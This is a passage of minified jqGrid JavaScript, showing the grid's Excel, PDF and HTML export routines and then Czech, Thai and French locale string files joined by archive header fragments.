Q=te.jgrid.makeNode(h,"cols");for(te("worksheet",h).prepend(Q),o=0,n=v.width.length;o<n;o++)Q.appendChild(te.jgrid.makeNode(h,"col",{attr:{min:o+1,max:o+1,width:v.width[o],customWidth:1}}));te.jgrid.isFunction(ee.onBeforeExport)&&ee.onBeforeExport.call(F,r,y),v=null;try{var q=new JSZip,Y={type:"blob",mimeType:ee.mimetype};te.jgrid.xmlToZip(q,r),q.generateAsync?q.generateAsync(Y).then(function(e){te.jgrid.saveAs(e,ee.fileName,{type:ee.mimetype})}):te.jgrid.saveAs(q.generate(Y),ee.fileName,{type:ee.mimetype})}catch(e){throw e}finally{te.jgrid.isFunction(ee.loadIndicator)?ee.loadIndicator.call(F,"hide"):ee.loadIndicator&&te(F).jqGrid("progressBar",{method:"hide",loadtype:F.p.loadui})}})},exportToPdf:function(N){return N=te.extend(!0,{title:null,orientation:"portrait",pageSize:"A4",description:null,onBeforeExport:null,download:"download",includeLabels:!0,includeGroupHeader:!0,includeFooter:!0,includeHeader:!0,fileName:"jqGridExport.pdf",mimetype:"application/pdf",treeindent:"-",visibleTreeNodes:!1,centerTableOnPage:!1,loadIndicator:!0},N||{}),this.each(function(){var e,t,r,v=this,j=[],l=v.p.colModel,d={},i=v.p.treeGrid?te(v).jqGrid("getRowData",null,!0,N.treeindent,N.visibleTreeNodes):v.addLocalData(!0),w=[],p=0,C=[],o=[],a=[],_={};function n(s){var m=v.p.groupingView,f=[],c=m.groupField.length,u=v.p.colModel,g=u.length,y=0;function h(e,t,r){var l,o=0,a=[];void 0===r&&(r=!1);for(var n=0;n<w.length;n++)l=e[w[n]],d={text:null==l||""===l?"":t&&!(0===n&&r)?te.jgrid.formatCell(l+"",C[o],i[p],u[C[o]],v,"pdf"):l,alignment:_[n],style:"tableBody"},a.push(d),o++;return a}function x(e,t,r,l){for(var o,a,n=function(e,t,r){var l,o=!1;if(0===t)o=r[e];else{var a=r[e].idx;if(0===a)o=r[e];else for(l=e;0<=l;l--)if(r[l].idx===a-t){o=r[l];break}}return o}(e,t,r),d=n.cnt,i=I(w),p=l;p<g;p++)u[p]._expcol&&(a="{0}",te.each(n.summary,function(){if(this.nm===u[p].name){u[p].summaryTpl&&(a=u[p].summaryTpl),o=this.v,"string"==typeof this.st&&"avg"===this.st.toLowerCase()&&(this.sd&&this.vd?o=this.v/this.vd:this.v&&0<d&&(o=this.v/d));try{this.groupCount=n.cnt,this.groupIndex=n.dataIndex,this.groupValue=n.value}catch(e){o=this.v}return i[this.nm]=te.jgrid.stripHtml(te.jgrid.template(a,o)),!1}}));return i}function I(e){for(var t={},r=0;r<e.length;r++)t[e[r]]="";return t}te.each(u,function(e,t){for(var r=0;r<c;r++)if(m.groupField[r]===t.name){f[r]=e;break}});var F,b=te.makeArray(m.groupSummary);if(b.reverse(),"local"===v.p.datatype&&!v.p.loadonce){te(v).jqGrid("groupingSetup");for(var e=te.jgrid.getMethod("groupingPrepare"),t=0;t<i.length;t++)e.call(te(v),i[t],t)}te.each(m.groups,function(e,t){y++;try{F=Array.isArray(m.formatDisplayField)&&te.jgrid.isFunction(m.formatDisplayField[t.idx])?m.formatDisplayField[t.idx].call(v,t.displayValue,t.value,v.p.colModel[f[t.idx]],t.idx,m):v.formatter("",t.displayValue,f[t.idx],t.value)}catch(e){F=t.displayValue}var r="",l=("string"!=typeof(r=te.jgrid.isFunction(m.groupText[t.idx])?m.groupText[t.idx].call(v,F,t.cnt,t.summary):te.jgrid.template(m.groupText[t.idx],F,t.cnt,t.summary))&&"number"!=typeof r&&(r=F),"header"===m.groupSummaryPos[t.idx]?x(e,0,m.groups,0):I(w));if(l[Object.keys(l)[0]]=te.jgrid.stripHtml(new Array(5*t.idx).join(" ")+r),j.push(h(l,!0,!0)),c-1===t.idx){for(var o,a,n=m.groups[e+1],r=t.startRow,d=void 0!==n?n.startRow:m.groups[e].startRow+m.groups[e].cnt,i=r;i<d&&s[+i];i++){var p=s[+i];j.push(h(p,!0))}if("header"!==m.groupSummaryPos[t.idx]){if(void 0!==n){for(a=0;a<m.groupField.length&&n.dataIndex!==m.groupField[a];a++);y=m.groupField.length-a}for(o=0;o<y;o++)b[o]&&(l=x(e,o,m.groups,0),j.push(h(l,!0,!0)));y=a}}})}for(te.jgrid.isFunction(N.loadIndicator)?N.loadIndicator.call(v,"show"):N.loadIndicator&&te(v).jqGrid("progressBar",{method:"show",loadtype:v.p.loadui,htmlcontent:te.jgrid.getRegional(v,"defaults.loadtext")}),e=0,B=l.length;e<B;e++)l[e]._expcol=!0,void 0===l[e].exportcol?l[e].hidden&&(l[e]._expcol=!1):l[e]._expcol=l[e].exportcol,!te.jgrid.isServiceCol(l[e].name)&&l[e]._expcol&&(d={text:v.p.colNames[e],style:"tableHeader"},o.push(d),w[p]=l[e].name,C[p]=e,a.push(l[e].width),_[l[e].name]=l[e].align||"left",p++);if(N.includeGroupHeader&&te(v).jqGrid("isGroupHeaderOn"))for(r=v.p.groupHeader,p=0;p<r.length;p++){for(var s=[],m=r[p].groupHeaders,f=r[p].useColSpanStyle,c=0;c<l.length;c++){var u=!0;for(te.jgrid.isServiceCol(l[c].name)||!l[c]._expcol?u=!1:d=f?{text:v.p.colNames[c],style:"tableHeader",rowSpan:2,verticalAlign:"center"}:{text:"",style:"tableHeader"},t=0;t<m.length;t++)if(m[t].startColumnName===l[c].name){for(var g=m[t].numberOfColumns,y=c;y<c+m[t].numberOfColumns;y++)!0===l[y].hidden&&g--;!(d={text:m[t].titleText,colSpan:g,style:"tableHeader"})===u&&0<g&&(u=!0,c+=m[t].numberOfColumns-g)}u&&s.push(d)}j.push(s)}if(N.includeLabels)if(v.p.colSpanHeader.length){for(r=v.p.colSpanHeader,s=[],c=0;c<w.length;c++){for(d={text:v.p.colNames[c],style:"tableHeader",verticalAlign:"center"},t=0;t<r.length;t++)r[t].startColumnName===w[c]&&(d={text:r[t].titleText,colSpan:r[t].numberOfColumns,style:"tableHeader"});s.push(d),e++}j.push(s)}else j.push(o);if(N.includeHeader&&v.p.headerrow)for(var h,x=te(v).jqGrid("headerData","getlength"),I=0;I<x;I++){for(h=te(v).jqGrid("headerData","get",null,!1,I,!1),o=[],c=0;c<w.length;c++)d={text:te.jgrid.stripHtml(te.jgrid.getAccessor(h,w[c])),style:"tableFooter",alignment:_[w[c]]},o.push(d);j.push(o)}if(v.p.grouping){var F=!!v.p.groupingView._locgr;v.p.groupingView._locgr=!1,n(i),v.p.groupingView._locgr=F}else for(var b,p=0,B=i.length;p<B;p++){for(o=[],b=i[p],c=t=0;c<w.length;c++)d={text:null==b[w[c]]?"":te.jgrid.stripHtml(te.jgrid.formatCell(te.jgrid.getAccessor(b,w[c])+"",C[t],i[p],l[C[t]],v,"pdf")),alignment:_[w[c]],style:"tableBody"},o.push(d),t++;j.push(o)}if(N.includeFooter&&v.p.footerrow)for(x=te(v).jqGrid("footerData","getlength"),I=0;I<x;I++){var T=te(v).jqGrid("footerData","get",null,!1,I,!1),o=[];for(c=0;c<w.length;c++)d={text:te.jgrid.stripHtml(te.jgrid.getAccessor(T,w[c])),style:"tableFooter",alignment:_[w[c]]},o.push(d);j.push(o)}F={style:"tableExample",widths:a,table:{headerRows:null!=r?0:1,body:j}},N.centerTableOnPage&&(F={columns:[{width:"*",text:""},{style:"tableExample",width:"auto",widths:a,table:{headerRows:null!=r?0:1,body:j},alignment:"center"},{width:"*",text:""}]}),F={pageSize:N.pageSize,pageOrientation:N.orientation,content:[F],styles:{tableHeader:{bold:!0,fontSize:11,color:"#2e6e9e",fillColor:"#dfeffc",alignment:"center"},tableBody:{fontSize:10},tableFooter:{bold:!0,fontSize:11,color:"#2e6e9e",fillColor:"#dfeffc"},title:{alignment:"center",fontSize:15},description:{}},defaultStyle:{fontSize:10}};N.description&&F.content.unshift({text:N.description,style:"description",margin:[0,0,0,12]}),N.title&&F.content.unshift({text:N.title,style:"title",margin:[0,0,0,12]}),te.jgrid.isFunction(N.onBeforeExport)&&N.onBeforeExport.call(v,F);try{var k=pdfMake.createPdf(F);k.getDataUrl(function(e){te.jgrid.isFunction(N.loadIndicator)?N.loadIndicator.call(v,"hide"):N.loadIndicator&&te(v).jqGrid("progressBar",{method:"hide",loadtype:v.p.loadui})}),"open"===N.download?k.open():k.getBuffer(function(e){te.jgrid.saveAs(e,N.fileName,{type:N.mimetype})})}catch(e){throw e}})},exportToHtml:function(u){var g;return u=te.extend(!0,{title:"",onBeforeExport:null,includeLabels:!0,includeGroupHeader:!0,includeFooter:!0,includeHeader:!0,tableClass:"jqgridprint",autoPrint:!1,topText:"",bottomText:"",returnAsString:!1,treeindent:" ",visibleTreeNodes:!1,loadIndicator:!0},u||{}),this.each(function(){for(var v=this,m=v.p.colModel,e=0,j={body:v.p.treeGrid?te(v).jqGrid("getRowData",null,!0,u.treeindent,u.visibleTreeNodes):v.addLocalData(!0),header:[],footer:[],width:[],map:[],align:[]},t=0,r=m.length;t<r;t++)m[t]._expcol=!0,void 0===m[t].exportcol?m[t].hidden&&(m[t]._expcol=!1):m[t]._expcol=m[t].exportcol,"cb"!==m[t].name&&"rn"!==m[t].name&&"subgrid"!==m[t].name&&"sc"!==m[t].name&&m[t]._expcol&&(j.header[e]=m[t].name,j.width[e]=m[t].width,j.map[e]=t,j.align[e]=m[t].align||"left",e++);var l=document.createElement("a"),o=function(e){l.href=e;e=l.host;return-1===e.indexOf("/")&&0!==l.pathname.indexOf("/")&&(e+="/"),l.protocol+"//"+e+l.pathname+l.search},w=function(e,t,r,l,o){for(var a,n,d="<tr>",i=0,p=j.header.length;i<p&&(n=o?' colspan= "'+j.header.length+'" style=text-align:left':!0===l?" style=width:"+j.width[i]+"px;text-align:"+j.align[i]+";":" style=text-align:"+j.align[i]+";",a=j.header[i],e.hasOwnProperty(a)&&(d+="<"+t+n+">"+(r?te.jgrid.formatCell(te.jgrid.getAccessor(e,a),j.map[i],e,m[j.map[i]],v,"html"):e[a])+"</"+t+">"),!o);i++);return d+"</tr>"};function a(f){var c=v.p.groupingView,u=[],g=c.groupField.length,s=m.length,y=0,h="";function x(e,t,r,l){for(var o,a,n=function(e,t,r){var l,o=!1;if(0===t)o=r[e];else{var a=r[e].idx;if(0===a)o=r[e];else for(l=e;0<=l;l--)if(r[l].idx===a-t){o=r[l];break}}return o}(e,t,r),d=n.cnt,i=I(j.header),p=l;p<s;p++)m[p]._expcol&&(a="{0}",te.each(n.summary,function(){if(this.nm===m[p].name){m[p].summaryTpl&&(a=m[p].summaryTpl),o=this.v,"string"==typeof this.st&&"avg"===this.st.toLowerCase()&&(this.sd&&this.vd?o=this.v/this.vd:this.v&&0<d&&(o=this.v/d));try{this.groupCount=n.cnt,this.groupIndex=n.dataIndex,this.groupValue=n.value}catch(e){o=this.v}return i[this.nm]=te.jgrid.stripHtml(te.jgrid.template(a,o)),!1}}));return i}function I(e){for(var t={},r=0;r<e.length;r++)t[e[r]]="";return t}te.each(m,function(e,t){for(var r=0;r<g;r++)if(c.groupField[r]===t.name){u[r]=e;break}});var F,b=te.makeArray(c.groupSummary);if(b.reverse(),"local"===v.p.datatype&&!v.p.loadonce){te(v).jqGrid("groupingSetup");for(var e=te.jgrid.getMethod("groupingPrepare"),t=0;t<j.body.length;t++)e.call(te(v),j.body[t],t)}return te.each(c.groups,function(e,t){y++;try{F=Array.isArray(c.formatDisplayField)&&te.jgrid.isFunction(c.formatDisplayField[t.idx])?c.formatDisplayField[t.idx].call(v,t.displayValue,t.value,v.p.colModel[u[t.idx]],t.idx,c):v.formatter("",t.displayValue,u[t.idx],t.value)}catch(e){F=t.displayValue}var r="";"string"!=typeof(r=te.jgrid.isFunction(c.groupText[t.idx])?c.groupText[t.idx].call(v,F,t.cnt,t.summary):te.jgrid.template(c.groupText[t.idx],F,t.cnt,t.summary))&&"number"!=typeof r&&(r=F);var l,o=!1,a=("header"===c.groupSummaryPos[t.idx]?l=x(e,0,c.groups,0):(l=I(j.header),o=!0),Object.keys(l));if(l[a[0]]=new Array(5*t.idx).join(" ")+r,h+=w(l,"td",!0,1===y,o),g-1===t.idx){for(var n,d,i=c.groups[e+1],a=t.startRow,p=void 0!==i?i.startRow:c.groups[e].startRow+c.groups[e].cnt,s=a;s<p&&f[+s];s++){var m=f[+s];h+=w(m,"td",!0)}if("header"!==c.groupSummaryPos[t.idx]){if(void 0!==i){for(d=0;d<c.groupField.length&&i.dataIndex!==c.groupField[d];d++);y=c.groupField.length-d}for(n=0;n<y;n++)b[n]&&(l=x(e,n,c.groups,0),h+=w(l,"td",!0));y=d}}}),h}te.jgrid.isFunction(u.loadIndicator)?u.loadIndicator.call(v,"show"):u.loadIndicator&&te(v).jqGrid("progressBar",{method:"show",loadtype:v.p.loadui,htmlcontent:te.jgrid.getRegional(v,"defaults.loadtext")});var n='<table class="'+u.tableClass+'">';if(u.includeLabels&&(n+="<thead>"+function(e,t,r){for(var l="<tr>",o=0,a=e.length;o<a;o++)l+="<"+t+(!0===r?" style=width:"+j.width[o]+"px;":"")+">"+v.p.colNames[j.map[o]]+"</"+t+">";return l+"</tr>"}(j.header,"th",!0)+"</thead>"),n+="<tbody>",u.includeHeader&&v.p.headerrow)for(var d,i=te(v).jqGrid("footerData","getlength"),p=0;p<i;p++)for(p=0;p<i;p++)d=te(v).jqGrid("headerData","get",null,!1,p,!1),n+=w(d,"td",!1);if(v.p.grouping){var s=!!v.p.groupingView._locgr;v.p.groupingView._locgr=!1,n+=a(j.body),v.p.groupingView._locgr=s}else for(e=0,r=j.body.length;e<r;e++)n+=w(j.body[e],"td",!0,0===e);if(u.includeFooter&&v.p.footerrow)for(i=te(v).jqGrid("footerData","getlength"),p=0;p<i;p++)j.footer[p]=te(v).jqGrid("footerData","get",null,!1,p,!1),n+=w(j.footer[p],"td",!1);if(n=n+"</tbody>"+"</table>",u.returnAsString)g=n;else{var f=window.open("",""),c=(f.document.close(),u.title?"<title>"+u.title+"</title>":"");te("style, link").each(function(){c+=function(e){e=te(e).clone()[0];return"link"===e.nodeName.toLowerCase()&&(e.href=o(e.href)),e.outerHTML}(this)});try{f.document.head.innerHTML=c}catch(e){te(f.document.head).html(c)}f.document.body.innerHTML=(u.title?"<h1>"+u.title+"</h1>":"")+"<div>"+(u.topText||"")+"</div>"+n+"<div>"+(u.bottomText||"")+"</div>",te(f.document.body).addClass("html-view"),te("img",f.document.body).each(function(e,t){t.setAttribute("src",o(t.getAttribute("src")))}),te.jgrid.isFunction(u.onBeforeExport)&&u.onBeforeExport.call(v,f),Boolean(f.chrome)?u.autoPrint&&(f.print(),f.close()):setTimeout(function(){u.autoPrint&&(f.print(),f.close())},1e3)}te.jgrid.isFunction(u.loadIndicator)?u.loadIndicator.call(v,"hide"):u.loadIndicator&&te(v).jqGrid("progressBar",{method:"hide",loadtype:v.p.loadui})}),g}})});minified/i18n/grid.locale-cs.js000064400000011305151677266200012247 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.cs={defaults:{recordtext:"Zobrazeno {0} - {1} z {2} záznamů",emptyrecords:"Nenalezeny žádné záznamy",loadtext:"Načítám...",savetext:"Saving...",pgtext:"Strana {0} z {1}",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Vyhledávám...",Find:"Hledat",Reset:"Reset",odata:[{oper:"eq",text:"rovno"},{oper:"ne",text:"nerovno"},{oper:"lt",text:"menší"},{oper:"le",text:"menší nebo rovno"},{oper:"gt",text:"větší"},{oper:"ge",text:"větší nebo rovno"},{oper:"bw",text:"začíná s"},{oper:"bn",text:"nezačíná s"},{oper:"in",text:"je v"},{oper:"ni",text:"není v"},{oper:"ew",text:"končí s"},{oper:"en",text:"nekončí s"},{oper:"cn",text:"obsahuje"},{oper:"nc",text:"neobsahuje"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"všech"},{op:"OR",text:"některého z"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Přidat záznam",editCaption:"Editace záznamu",bSubmit:"Uložit",bCancel:"Storno",bClose:"Zavřít",saveData:"Data byla změněna! Uložit změny?",bYes:"Ano",bNo:"Ne",bExit:"Zrušit",msg:{required:"Pole je vyžadováno",number:"Prosím, vložte validní číslo",minValue:"hodnota musí být větší než nebo rovná ",maxValue:"hodnota musí být menší než nebo rovná ",email:"není validní e-mail",integer:"Prosím, vložte celé číslo",date:"Prosím, vložte validní datum",url:"není platnou URL. Vyžadován prefix ('http://' or 'https://')",nodefined:" není definován!",novalue:" je vyžadována návratová hodnota!",customarray:"Custom function mělá vrátit pole!",customfcheck:"Custom function by měla být přítomna v případě custom checking!"}},view:{caption:"Zobrazit záznam",bClose:"Zavřít"},del:{caption:"Smazat",msg:"Smazat vybraný(é) záznam(y)?",bSubmit:"Smazat",bCancel:"Storno"},nav:{edittext:" ",edittitle:"Editovat vybraný řádek",addtext:" ",addtitle:"Přidat nový řádek",deltext:" ",deltitle:"Smazat vybraný záznam ",searchtext:" ",searchtitle:"Najít záznamy",refreshtext:"",refreshtitle:"Obnovit tabulku",alertcap:"Varování",alerttext:"Prosím, vyberte řádek",viewtext:"",viewtitle:"Zobrazit vybraný řádek",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Zobrazit/Skrýt sloupce",bSubmit:"Uložit",bCancel:"Storno"},errors:{errcap:"Chyba",nourl:"Není nastavena url",norecords:"Žádné záznamy ke zpracování",model:"Délka colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Ne","Po","Út","St","Čt","Pá","So","Neděle","Pondělí","Úterý","Středa","Čtvrtek","Pátek","Sobota"],monthNames:["Led","Úno","Bře","Dub","Kvě","Čer","Čvc","Srp","Zář","Říj","Lis","Pro","Leden","Únor","Březen","Duben","Květen","Červen","Červenec","Srpen","Září","Říjen","Listopad","Prosinec"],AmPm:["do","od","DO","OD"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-th.js000064400000015174151677266200012265 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.th={defaults:{recordtext:"แสดง {0} - {1} จาก {2}",emptyrecords:"ไม่พบข้อมูล",loadtext:"กำลังร้องขอข้อมูล...",pgtext:"หน้า {0} จาก {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"กำลังค้นหา...",Find:"ค้นหา",Reset:"คืนค่ากลับ",odata:[{oper:"eq",text:"เท่ากับ"},{oper:"ne",text:"ไม่เท่ากับ"},{oper:"lt",text:"น้อยกว่า"},{oper:"le",text:"ไม่มากกว่า"},{oper:"gt",text:"มากกกว่า"},{oper:"ge",text:"ไม่น้อยกว่า"},{oper:"bw",text:"ขึ้นต้นด้วย"},{oper:"bn",text:"ไม่ขึ้นต้นด้วย"},{oper:"in",text:"มีคำใดคำหนึ่งใน"},{oper:"ni",text:"ไม่มีคำใดคำหนึ่งใน"},{oper:"ew",text:"ลงท้ายด้วย"},{oper:"en",text:"ไม่ลงท้ายด้วย"},{oper:"cn",text:"มีคำว่า"},{oper:"nc",text:"ไม่มีคำว่า"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"และ",text:"ทั้งหมด"},{op:"หรือ",text:"ใดๆ"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"เพิ่มข้อมูล",editCaption:"แก้ไขข้อมูล",bSubmit:"บันทึก",bCancel:"ยกเลิก",bClose:"ปิด",saveData:"คุณต้องการบันทึการแก้ไข ใช่หรือไม่?",bYes:"บันทึก",bNo:"ละทิ้งการแก้ไข",bExit:"ยกเลิก",msg:{required:"ข้อมูลนี้จำเป็น",number:"กรุณากรอกหมายเลขให้ถูกต้อง",minValue:"ค่าของข้อมูลนี้ต้องไม่น้อยกว่า",maxValue:"ค่าของข้อมูลนี้ต้องไม่มากกว่า",email:"อีเมลล์นี้ไม่ถูกต้อง",integer:"กรุณากรอกเป็นจำนวนเต็ม",date:"กรุณากรอกวันที่ให้ถูกต้อง",url:"URL ไม่ถูกต้อง URL จำเป็นต้องขึ้นต้นด้วย 'http://' หรือ 'https://'",nodefined:"ไม่ได้ถูกกำหนดค่า!",novalue:"ต้องการการคืนค่า!",customarray:"ฟังก์ชันที่สร้างขึ้นต้องส่งค่ากลับเป็นแบบแอเรย์",customfcheck:"ระบบต้องการฟังก์ชันที่สร้างขึ้นสำหรับการตรวจสอบ!"}},view:{caption:"เรียกดูข้อมูล",bClose:"ปิด"},del:{caption:"ลบข้อมูล",msg:"คุณต้องการลบข้อมูลที่ถูกเลือก ใช่หรือไม่?",bSubmit:"ต้องการลบ",bCancel:"ยกเลิก"},nav:{edittext:"",edittitle:"แก้ไขข้อมูล",addtext:"",addtitle:"เพิ่มข้อมูล",deltext:"",deltitle:"ลบข้อมูล",searchtext:"",searchtitle:"ค้นหาข้อมูล",refreshtext:"",refreshtitle:"รีเฟรช",alertcap:"คำเตือน",alerttext:"กรุณาเลือกข้อมูล",viewtext:"",viewtitle:"ดูรายละเอียดข้อมูล",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"กรุณาเลือกคอลัมน์",bSubmit:"ตกลง",bCancel:"ยกเลิก"},errors:{errcap:"เกิดความผิดพลาด",nourl:"ไม่ได้กำหนด URL",norecords:"ไม่มีข้อมูลให้ดำเนินการ",model:"จำนวนคอลัมน์ไม่เท่ากับจำนวนคอลัมน์โมเดล!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["อา","จ","อ","พ","พฤ","ศ","ส","อาทิตย์","จันทร์","อังคาร","พุธ","พฤหัสบดี","ศูกร์","เสาร์"],monthNames:["ม.ค.","ก.พ.","มี.ค.","เม.ย.","พ.ค.","มิ.ย.","ก.ค.","ส.ค.","ก.ย.","ต.ค.","พ.ย.","ธ.ค.","มกราคม","กุมภาพันธ์","มีนาคม","เมษายน","พฤษภาคม","มิถุนายน","กรกฏาคม","สิงหาคม","กันยายน","ตุลาคม","พฤศจิกายน","ธันวาคม"],AmPm:["am","pm","AM","PM"],S:function(e){return""},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-fr.js000064400000012125151677266200012252 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.fr={defaults:{recordtext:"Enregistrements {0} - {1} sur {2}",emptyrecords:"Aucun enregistrement à afficher",loadtext:"Chargement...",savetext:"Sauvegarde en cours...",pgtext:"Page {0} de {1}",pgfirst:"Première page",pglast:"Dernière page",pgnext:"Page suivante",pgprev:"Page précédente",pgrecs:"Enregistrements par page",showhide:"Réduire/Agrandir la grille",pagerCaption:"Grille::Options de pagination",pageText:"Page:",recordPage:"Enregistrements par page",nomorerecs:"Plus de données...",scrollPullup:"Glisser vers le haut pour charger plus de données...",scrollPulldown:"Glisser vers le bas pour rafraîchir...",scrollRefresh:"Relâcher pour rafraîchir...",valueCheckbox:"Case à cocher",valT:"cochée",valF:"décochée",selectLine:"Sélectionner une ligne",selectAllLines:"Sélectionner toutes les lignes"},search:{caption:"Recherche...",Find:"Chercher",Reset:"Réinitialiser",odata:[{oper:"eq",text:"égal"},{oper:"ne",text:"différent"},{oper:"lt",text:"inférieur"},{oper:"le",text:"inférieur ou égal"},{oper:"gt",text:"supérieur"},{oper:"ge",text:"supérieur ou égal"},{oper:"bw",text:"commence par"},{oper:"bn",text:"ne commence pas par"},{oper:"in",text:"est dans"},{oper:"ni",text:"n'est pas dans"},{oper:"ew",text:"finit par"},{oper:"en",text:"ne finit pas par"},{oper:"cn",text:"contient"},{oper:"nc",text:"ne contient pas"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"entre"}],groupOps:[{op:"AND",text:"tous"},{op:"OR",text:"au moins un"}],operandTitle:"Cliquer pour sélectionner l'opérateur.",resetTitle:"Réinitialiser la valeur de recherche",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filtre pour"},edit:{addCaption:"Ajouter",editCaption:"Éditer",bSubmit:"Valider",bCancel:"Annuler",bClose:"Fermer",saveData:"Les données ont changé ! Enregistrer les modifications ?",bYes:"Oui",bNo:"Non",bExit:"Annuler",msg:{required:"Champ obligatoire",number:"Saisissez un nombre correct",minValue:"La valeur doit être supérieure ou égale à",maxValue:"La valeur doit être inférieure ou égale à",email:"n'est pas un email valide",integer:"Saisissez un entier valide",url:"n'est pas une adresse valide. Préfixe requis ('http://' or 'https://')",nodefined:" n'est pas défini!",novalue:" la valeur de retour est requise!",customarray:"Une fonction personnalisée devrait retourner un tableau (array)!",customfcheck:"Une fonction personnalisée devrait être présente dans le cas d'une vérification personnalisée!"}},view:{caption:"Voir les enregistrements",bClose:"Fermer"},del:{caption:"Supprimer",msg:"Supprimer les enregistrements sélectionnés ?",bSubmit:"Supprimer",bCancel:"Annuler"},nav:{edittext:" ",edittitle:"Editer la ligne sélectionnée",addtext:" ",addtitle:"Ajouter une ligne",deltext:" ",deltitle:"Supprimer la ligne sélectionnée",searchtext:" ",searchtitle:"Chercher un enregistrement",refreshtext:"",refreshtitle:"Recharger le tableau",alertcap:"Avertissement",alerttext:"Veuillez sélectionner une ligne",viewtext:"",viewtitle:"Afficher la ligne sélectionnée",savetext:"",savetitle:"Sauvegarder la ligne",canceltext:"",canceltitle:"Annuler l'édition de la ligne",selectcaption:"Actions..."},col:{caption:"Afficher/Masquer les colonnes",bSubmit:"Valider",bCancel:"Annuler"},errors:{errcap:"Erreur",nourl:"Aucune adresse n'est paramétrée",norecords:"Aucun enregistrement à traiter",model:"Nombre de titres (colNames) <> Nombre de données (colModel)!"},formatter:{integer:{thousandsSeparator:" 